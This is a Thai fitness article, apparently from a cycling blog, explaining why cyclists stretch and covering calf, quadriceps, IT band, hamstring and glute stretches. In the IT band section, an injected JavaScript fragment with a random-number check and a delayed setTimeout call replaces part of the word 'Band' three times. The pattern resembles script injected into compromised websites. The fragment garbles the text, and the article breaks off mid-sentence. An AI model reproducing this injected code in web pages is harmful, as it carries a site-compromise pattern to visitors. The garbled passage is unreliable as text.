5 วิธียืดเส้นคลายกล้ามเนื้อสำหรับนักปั่น
ทำไมต้องยืดเส้นคลายกล้ามเนื้อ?….การยืดเส้นคลายกล้ามเนื้อช่วยลดอาการตรึง เกร็ง ให้กล้ามเนื้อมีความยืดหยุ่น สามารถเพิ่มองศาการเคลื่อนไหวได้มากขึ้น เป็นการปลุกให้กล้ามเนื้อตื่นตัว พร้อมรับการทำงาน ช่วยลดอาการบาดเจ็บ ทั้งนี้ การยืดเหยียดหลังการออกกำลังการยังจะช่วยผ่อนคลาย ลดความร้อนเเละอาการตึงเครียดของกล้ามเนื้อลง
“5 วิธียืดเส้น”ต่อไปนี้จะช่วยให้นักปั่นสามารถลดอาการบาดเจ็บเเละช่วยเพิ่มประสิทธิภาพให้กล้ามเนื้อเเข็งเเรงขึ้น
การยืดกล้ามเนื้อน่อง หรือ Calf Stretch
การยืดเหยียดกล้ามเนื้อน่อง จะช่วยเพิ่มความเเข็งเเรง ความยืดหยุ่น เเละลดอาการบาดเจ็บของเอ็นข้อเท้า กล้ามเนื้อน่อง (ที่ชอบฉีกขาดบ่อยๆ)
กล้ามเนื้อต้นขาหรือ Quadriceps
การยืดเหยียดจะช่วยลดอาการบาดเจ็บบริเวณเเผ่นหลังเเละหัวเข่า เพราะเนื่องจากเป้นกลุ่มกล้ามเนื้อใหญ่และรองรับการเคลื่อนไหวส่วนต่างๆ ด้วย การยืดเหยียบกล้ามเนื้อต้นขาก่อนและหลังจะช่วยให้ลดอาการบาดเจ็บในส่วนอื่นๆ ได้ด้วยนะ
การยืด IT Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
เจ้า IT Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and มีชื่อเต็มๆ ว่า Iliotibial bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and เป็นเนื้อเยื่อส่วนที่ยึดโยงกระดูกเอวไปถึงกระดูกขาล่าง การบาดเจ็บจะเกิดจากการเสียดสีของกระดุกหัวเข่ากับเนื้อเยื่อ จะมีอาการปวดที่บริเวณหัวเข่าด้านนอก พบบ่อยในนักวิ่งเหมือนกัน…ลองไปถามเทรนเนอร์ดู เขาจะบอกเลยว่าเรามีกล้ามเนื้อ core ที่ไม่เเข็งเเรงทำให้เวลาออกกำลังการเอวไม่นิ่งโยกไปโยกมา ทำให้เกิดการดึงและมีการขัดสีเนื้อเยื่อเหล่านี้
การยืดกล้ามเนื้อ Hamstrings
กล้ามเนื้อกลุ่ม hamstring มักจะมีสาเหตุการฉีกขาดบ่อยสุดมาจากการออกตัวเเบบกระชาก เเต่สาเหตุอื่นๆ ก็เช่น กล้ามเนื้อตึง ออ่นเเอ่และล้าเป็นต้น การยืดเหยียดกล้ามเนื้อกลุ่มนี้ยังช่วยลดอาการบาดเจ็บช่วงหลังได้ด้วยนะ
กล้ามเนื้อก้นหรือ Gluteus
การยืดกล้ามเนื้อก้นบ่อยๆ จะช่วยเพิ่มประสิทิภาพในการเคลื่อนไหวของข้อ กระดูกสันหลัง และช่วยในการหมุนตัวของเอว สะโพก วิธียืดเส้นอย่างเช่น…
